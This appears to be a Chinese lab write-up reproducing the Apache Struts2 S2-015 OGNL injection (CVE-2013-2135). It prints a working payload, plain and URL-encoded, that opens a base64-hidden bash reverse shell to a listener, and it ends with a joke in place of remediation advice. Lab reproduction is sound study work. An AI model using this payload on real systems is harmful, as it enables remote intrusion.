[漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

一、漏洞情况分析

2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含"${}"和"%{}"序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。

二、漏洞复现

春秋云境.com

进入靶场

开始复现

构造好payload,弹nc

html 复制代码
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action

就构造好的payload,url编码

html 复制代码
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action

接入我们的ip后面,同时本地打开nc监听

三、漏洞处置建议

把靶场关了,跟漏洞说"白白吧

相关推荐
wang090713 小时前
自己动手写一个spring之IOC_2
java·后端·spring
来杯@Java13 小时前
学生选课管理系统(基于springboot+vue前后端分离的项目)计算机毕业设计java
java·spring boot·spring·vue·毕业设计·maven·mybatis
56AI14 小时前
2026 企业级AI智能体开发平台推荐:聚焦底层安全与准确率的智能体平台
人工智能·安全·智能体
不知名的老吴14 小时前
线程的生命周期之线程“插队“
java·开发语言·python
ANnianStriver15 小时前
PetLumina-02-后端开发与前后端联调
java·ai·sa-token
杨了个杨898215 小时前
Keepalived + Nginx + HAProxy 高可用架构部署实战案例
java·nginx·架构
站斧小威15 小时前
TikTok跨境电商浏览器怎么使用:多账号防关联,IP独立隔离
安全
马士兵教育17 小时前
Java还有前景吗?Java+AI大模型学习路线及项目?
java·人工智能·python·学习·机器学习
snow@li18 小时前
Java:理解 Gradle / 后端项目的管家 / 打包SpringBoot 应用 / 完成编译、下载依赖、运行测试、打包 JAR/WAR / 速查表
java
云烟成雨TD18 小时前
Spring AI 1.x 系列【57】动态工具发现:Tool Search Tool
java·人工智能·spring